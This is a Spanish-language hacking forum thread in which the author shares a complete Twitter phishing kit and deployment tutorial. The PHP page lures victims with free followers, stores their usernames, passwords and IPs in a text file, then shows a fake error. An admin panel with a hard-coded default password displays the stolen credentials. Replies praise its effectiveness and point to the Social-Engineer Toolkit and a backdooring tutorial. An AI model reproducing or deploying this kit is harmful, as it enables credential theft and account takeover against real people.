Buenas soy bernatixer, hasta el día de hoy underc0de y sus usuarios me han proporcionado mucha información y herramientas, así que hoy decido aportar mi granito de arena a la comunidad.
Se trata de una página de phishing para twitter. La web pretende añadir seguidores (bots) a tu cuenta de twitter, y como todos sabemos cuando alguien con pocos conocimientos busca algo gratis (que normalmente es de pago) se descarga todo e introduce sus datos donde sea por tal de lograrlo. Así que en este caso nos vamos a aprovechar de esto.
Funcionamiento:
El usuario (víctima) entra en la web, introduce sus datos (usuario y contraseña :D) el número de seguidores que quiere (para hacerlo más real a partir de 1000 seguidores tendrá que pagar...) le da a un botón y que mala suerte! Ha ocurrido un error al añadir los seguidores a su cuenta.
Estos datos se guardaran en un archivo TXT, así que en ningún momento se va a necesitar MySQL, SQLite, o cualquier otro.
Y para terminar, hay un panel de admin de todas las víctimas, su usuario, contraseña y IP, todo automatico. (La contraseña default del panel de admin es 'b3rn4t1x3r').
Información técnica:
La web esta programada con Bootstrap para hacerla responsive, limpia etc... No se necesita descargar ningún archivo CSS ni JS, están todos alojados en un CDN y minificados, así que se aumenta el tiempo de respuesta. En resumen, todo esto es para que la víctima vea que la web esta algo trabajada y confíe mas en nosotros.
Si quieres provar la web, la he subido a mi servidor (Las IPs no se muestran en esta versión)
[Porvafor si quereis hacer phishing no paseis este link, seguid el tutorial de abajo]
Phishing: http://bernatixer.com/twitter/ (http://bernatixer.com/twitter/) Citar(http://i.imgur.com/4vLYfHd.png)
Panel: http://bernatixer.com/twitter/admin (http://bernatixer.com/twitter/admin)
Citar(http://i.imgur.com/Tn1c13d.png)
Tutorial:La web es muy fácil de editar, pero si no dominais mucho aquí van unas pequeñas explicaciones.
Teniendo en cuenta que el HTML es senzillo de entender voy a pasar directamente al PHP y si teneis alguna duda simplemente comentadla.
Lo que hace falta saber de PHP en el archivo 'index.php' es que si quereis cambiar el archivo de logs (Por defecto: datos.txt) teneis que canviar la variable [$fichero = "datos.txt";]
Del archivo 'admin.php' solo hace falta saber cambiar la pass, está en la línea 35. Nada mas, es algo senzillo en los dos casos.
No teneis servidor para hacer pruebas o subir la web? Os dejo una lista de hostings gratis:
- http://www.hostinger.es/
- https://www.000webhost.com/
IMPORTANTE: Recordad crear el archivo 'datos.txt', ya que sino no funcionara correctamente.
index.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Twitter - Bots</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" integrity="sha384-1q8mTJOASx8j1Au+a5WDVnPi2lkFfwwEAa8hDDdjZlpLegxhjVME1fgjWPGmkzs7" crossorigin="anonymous">
<style>
body {
height:100%;
width:100%;
background-image: url("http://www.imperial.ac.uk/imedia/general_graphics/interact/images/twitterBG.jpg");
background-repeat: no-repeat;
background-size:cover;
}
.centrar {
min-height: 100vh;
display: flex;
align-items: center;
}
</style>
</head>
<body>
<?php
if (isset($_POST["usuario"]) && isset($_POST["pass"])) {
$fichero = "datos.txt";
$usuario = htmlentities(str_replace("<:>","",$_POST["usuario"]));
$pass = htmlentities(str_replace("<:>","",$_POST["pass"]));
$ip = $_SERVER['REMOTE_ADDR'];
$text = $usuario."<:>".$pass."<:>".$ip;
$nuevo = file_get_contents($fichero);
$nuevo .= $text."\n";
file_put_contents($fichero, $nuevo);
$m = "<div class='alert alert-danger' role='alert'>Error 225; No se han podido añadir los seguidores en tu cuenta.</div>";
}else{
$m = "";
}
?>
<div class="container centrar">
<div class="row">
<div class="col-md-12">
<div class="alert alert-info">
<h1><b>SEGUIDORES EN TWITTER GRATIS</b></h1><hr/>
<form method="POST" action="#">
<?php echo $m; ?>
<input name="usuario" type="text" class="form-control" placeholder="Nombre de usuario"><br/>
<input name="pass" type="password" class="form-control" placeholder="Contraseña"><br/>
<select class="form-control">
<option>10 seguidores (GRATIS)</option>
<option>50 seguidores (GRATIS)</option>
<option>100 seguidores (GRATIS)</option>
<option>1000 seguidores (GRATIS)</option>
<option>5000 seguidores (10€)</option>
<option>10000 seguidores (50€)</option>
</select><br/>
<button class="btn btn-success btn-lg btn-block" type="submit">Añadir seguidores</button>
</form>
</div>
</div>
</div>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js" integrity="sha384-0mSbJDEHialfmuBBQP6A4Qrprq5OVfW37PRR3j5ELqxss1yVqOtnepnHVP9aJ7xS" crossorigin="anonymous"></script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Twitter - Bots</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" integrity="sha384-1q8mTJOASx8j1Au+a5WDVnPi2lkFfwwEAa8hDDdjZlpLegxhjVME1fgjWPGmkzs7" crossorigin="anonymous">
<style>
body {
height:100%;
width:100%;
background-image: url("https://mal.sec.gd/images/bgSlider/img01.png");
background-repeat: no-repeat;
background-size:cover;
}
.espacio {
margin-top: 5vh;
}
</style>
</head>
<body>
<div class="container espacio">
<div class="alert alert-danger">
<?php
if (!isset($_POST["pass"])) {
?>
<form method="POST" action="#">
<input name="pass" type="password" class="form-control" placeholder="Contraseña"><br/>
<button class="btn btn-danger btn-lg btn-block" type="submit">Entrar</button>
</form>
<?php
exit;
} else {
if ($_POST["pass"] != "b3rn4t1x3r") {
?>
<div class='alert alert-warning' role='alert'>Contraseña incorrecta</div>
<form method="POST" action="#">
<input name="pass" type="password" class="form-control" placeholder="Contraseña"><br/>
<button class="btn btn-danger btn-lg btn-block" type="submit">Entrar</button>
</form>
<?php
} else {
?>
<div class="text-right"><a class="btn btn-danger" href="">Salir</a></div>
<h2>Datos de los usuarios</h2><hr/>
<table class="table table-striped">
<thead>
<tr>
<th>Usuario</th>
<th>Contraseña</th>
<th>IP</th>
</tr>
</thead>
<tbody>
<?php
$fichero = fopen('datos.txt','r');
while ($linea = fgets($fichero)) {
$array = explode('<:>', trim($linea));
echo "<tr>";
echo "<th><font color='green'>". $array[0] ."</font></th>";
echo "<th><font color='green'>". $array[1] ."</font></th>";
echo "<th><font color='green'>". $array[2] ."</font></th>";
echo "</tr>";
}
fclose($fichero);
?>
</tbody>
</table>
</div>
<?php
}
}
?>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js" integrity="sha384-0mSbJDEHialfmuBBQP6A4Qrprq5OVfW37PRR3j5ELqxss1yVqOtnepnHVP9aJ7xS" crossorigin="anonymous"></script>
</body>
</html>
Muy bueno!
Ya te lo he dicho por skype, pero recalco por aqui tambien. Ese código tiene XSS :D
Si puedes arreglarlo sería genial.
Muy bueno bro!
Respecto a lo que dice @rollth (http://underc0de.org/foro/index.php?action=profile;u=30952), te dejo un link de un taller de XSS que hicimos: https://underc0de.org/foro/talleres-underc0de-213/taller-de-seguridad-web-1/
Ahi aparecen dos formas de fixear el XSS
Saludos!
ANTRAX
Gracias por avisar de la vulnerabilidad, ya esta solucionado ;)
You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login
Gracias por avisar de la vulnerabilidad, ya esta solucionado ;)
Gran trabajo bro! Muy buen aporte!
Te dejare +c0in
Excelente fake, realmente sencillo y eficaz, seguro que más de uno picaría ::) ;D
Y gran trabajo corrigiendo ese XSS!!
Saludos
Fuck, probé el xss antes de leer los comentarios y obviamente no saltó jajajaja.
Buen trabajo @Bernatixer (http://underc0de.org/foro/index.php?action=profile;u=27737), estoy seguro que caerían muchos usuarios con este tipo de métodos.
Saludos.
Buenas, tal vez sobre este comentario,si es asi disculpen, pero conocen setoolkit ?
https://www.trustedsec.com/social-engineer-toolkit/
You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login
Buenas, tal vez sobre este comentario,si es asi disculpen, pero conocen setoolkit ?
https://www.trustedsec.com/social-engineer-toolkit/
Si es cierto, se podría usar SET. Hace un tiempo dejé un paper en el foro sobre eso
https://underc0de.org/foro/hacking/java-applet-attack-method-backdorizacion-con-set-by-antrax/
Saludos!
ANTRAX